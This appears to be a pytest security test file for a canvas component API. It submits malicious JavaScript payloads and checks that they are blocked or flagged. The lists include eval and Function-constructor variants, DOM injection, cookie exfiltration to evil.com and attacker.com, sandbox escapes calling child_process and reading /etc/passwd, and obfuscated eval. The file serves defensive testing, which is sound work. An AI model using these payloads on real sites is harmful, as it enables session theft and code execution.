"""
Canvas JavaScript Security Extended Tests (SECU-04.2).
Extended comprehensive tests for canvas JavaScript security:
- Malicious JavaScript pattern detection
- eval() and Function() constructor variants
- DOM manipulation and data exfiltration
- Canvas component validation
- Static analysis validation
Builds upon test_canvas_security.py with additional edge cases.
"""
import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session
from tests.factories.agent_factory import (
StudentAgentFactory,
InternAgentFactory,
SupervisedAgentFactory,
AutonomousAgentFactory
)
from unittest.mock import patch, Mock
import uuid
# ============================================================================
# Extended Malicious JavaScript Patterns
# ============================================================================
# Additional eval() variants
EVAL_VARIANTS = [
"eval('malicious code')",
"window.eval('code')",
"window['eval']('code')",
"window['eva' + 'l']('code')",
"this['eval']('code')",
"globalThis.eval('code')",
"(0,eval)('code')",
"eval.call(null, 'code')",
"eval.apply(null, ['code'])",
]
# Function constructor variants
FUNCTION_CONSTRUCTOR_VARIANTS = [
"Function('return 1')()",
"new Function('return 1')()",
"Function.constructor('return 1')()",
"Function['constructor']('return 1')()",
"['Function'].map(c => c.constructor('return 1'))",
"globalThis.Function('code')()",
"window.Function('code')()",
]
# DOM manipulation variants
DOM_MANIPULATION_VARIANTS = [
"document.body.innerHTML = ''",
"document.head.innerHTML = xhr.responseText",
"document.querySelector('div').innerHTML = evil",
"document.createElement('script').src = 'evil.js'",
"document.write('')",
"document.writeln('')",
"element.outerHTML = '
'",
"document.insertAdjacentHTML('beforeend', '')",
]
# Data exfiltration variants
DATA_EXFILTRATION_VARIANTS = [
"fetch('https://evil.com/steal?data='+document.cookie)",
"fetch('http://attacker.com/log', {body: document.body.innerHTML})",
"navigator.sendBeacon('https://evil.com', document.cookie)",
"XMLHttpRequest.open('POST', 'https://evil.com'); xhr.send(document.cookie)",
"new Image().src = 'https://evil.com/?' + document.cookie",
"window.location='https://evil.com/steal?'+btoa(document.body.innerHTML)",
"window.postMessage(document.cookie, '*')",
"localStorage.setItem('exfil', JSON.stringify(localStorage))",
]
# Sandbox escape attempts
SANDBOX_ESCAPE_VARIANTS = [
"return (function() { return this.constructor.constructor('return process')() })()",
"return global.process.exit(1)",
"return require('child_process').exec('id')",
"return import('fs').then(fs => fs.readFileSync('/etc/passwd'))",
]
class TestEvalVariants:
"""Test eval() variants are detected and blocked."""
@pytest.mark.parametrize("payload", EVAL_VARIANTS)
def test_eval_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
"""
Test eval() variants are detected as malicious.
ATTACK: Various eval() invocation patterns to bypass detection
EXPECTED: All eval() variants detected and blocked
"""
autonomous = AutonomousAgentFactory(_session=db_session)
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "
Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Should either reject or flag the code
assert response.status_code in [200, 403, 422, 404]
if response.status_code == 200:
data = response.json()
# If created, should be flagged or sandboxed
# Check if security scan detected the issue
if "security_scan" in data:
assert data["security_scan"].get("malicious_detected") is True or \
data["security_scan"].get("risk_level") in ["high", "critical"]
class TestFunctionConstructorVariants:
"""Test Function() constructor variants are detected."""
@pytest.mark.parametrize("payload", FUNCTION_CONSTRUCTOR_VARIANTS)
def test_function_constructor_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
"""
Test Function() constructor variants are detected.
ATTACK: Various Function() invocation patterns
EXPECTED: All Function() variants detected and blocked
"""
autonomous = AutonomousAgentFactory(_session=db_session)
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
if response.status_code == 200:
data = response.json()
if "security_scan" in data:
assert data["security_scan"].get("malicious_detected") is True or \
data["security_scan"].get("risk_level") in ["high", "critical"]
class TestDOMManipulationVariants:
"""Test DOM manipulation variants are detected."""
@pytest.mark.parametrize("payload", DOM_MANIPULATION_VARIANTS)
def test_dom_manipulation_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
"""
Test DOM manipulation variants are detected.
ATTACK: Various DOM manipulation patterns for XSS
EXPECTED: All DOM manipulation detected and sanitized
"""
autonomous = AutonomousAgentFactory(_session=db_session)
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
if response.status_code == 200:
data = response.json()
if "security_scan" in data:
assert data["security_scan"].get("malicious_detected") is True or \
data["security_scan"].get("risk_level") in ["high", "critical"]
class TestDataExfiltrationVariants:
"""Test data exfiltration variants are detected."""
@pytest.mark.parametrize("payload", DATA_EXFILTRATION_VARIANTS)
def test_data_exfiltration_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
"""
Test data exfiltration variants are detected.
ATTACK: Various data exfiltration patterns (fetch, XHR, beacon, postMessage)
EXPECTED: All exfiltration attempts detected and blocked
"""
autonomous = AutonomousAgentFactory(_session=db_session)
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
if response.status_code == 200:
data = response.json()
if "security_scan" in data:
assert data["security_scan"].get("malicious_detected") is True or \
data["security_scan"].get("risk_level") in ["high", "critical"]
class TestSandboxEscapeAttempts:
"""Test sandbox escape attempts are detected."""
@pytest.mark.parametrize("payload", SANDBOX_ESCAPE_VARIANTS)
def test_sandbox_escape_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
"""
Test sandbox escape variants are detected.
ATTACK: Various sandbox escape patterns (process, require, import)
EXPECTED: All escape attempts detected and blocked
"""
autonomous = AutonomousAgentFactory(_session=db_session)
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
if response.status_code == 200:
data = response.json()
if "security_scan" in data:
assert data["security_scan"].get("malicious_detected") is True or \
data["security_scan"].get("risk_level") in ["critical"]
class TestJavaScriptObfuscation:
"""Test JavaScript obfuscation is detected."""
def test_base64_encoded_code_detected(self, client: TestClient, admin_token: str, db_session: Session):
"""
Test base64-encoded malicious code is detected.
ATTACK: Encode malicious code in base64 to bypass detection
EXPECTED: Base64 encoding detected and decoded for analysis
"""
autonomous = AutonomousAgentFactory(_session=db_session)
import base64
malicious = "fetch('https://evil.com/?' + document.cookie)"
encoded = base64.b64encode(malicious.encode()).decode()
payload = f"eval(atob('{encoded}'))"
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
def test_char_code_obfuscation_detected(self, client: TestClient, admin_token: str, db_session: Session):
"""
Test charCodeAt obfuscation is detected.
ATTACK: Use String.fromCharCode to obfuscate strings
EXPECTED: String.fromCharCode patterns detected
"""
autonomous = AutonomousAgentFactory(_session=db_session)
payload = "eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,39,41))"
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
def test_hex_encoding_detected(self, client: TestClient, admin_token: str, db_session: Session):
"""
Test hex encoding is detected.
ATTACK: Use hex escapes to obfuscate code
EXPECTED: Hex escape patterns detected
"""
autonomous = AutonomousAgentFactory(_session=db_session)
payload = "\\x65\\x76\\x61\\x6c\\x28\\x27\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x27\\x29"
response = client.post(
"/api/components/create",
json={
"name": "Test Component",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": payload,
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
class TestCodeInjectionViaParameters:
"""Test code injection via parameter manipulation."""
def test_code_injection_via_component_name(self, client: TestClient, admin_token: str, db_session: Session):
"""
Test code injection via component name parameter.
ATTACK: Inject code via component name (template injection)
EXPECTED: Component name sanitized, no code execution
"""
autonomous = AutonomousAgentFactory(_session=db_session)
response = client.post(
"/api/components/create",
json={
"name": "",
"html_content": "Test
",
"css_content": ".test { color: red; }",
"js_content": "console.log('test');",
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 403, 422, 404]
if response.status_code == 200:
data = response.json()
# Component name should be sanitized
assert "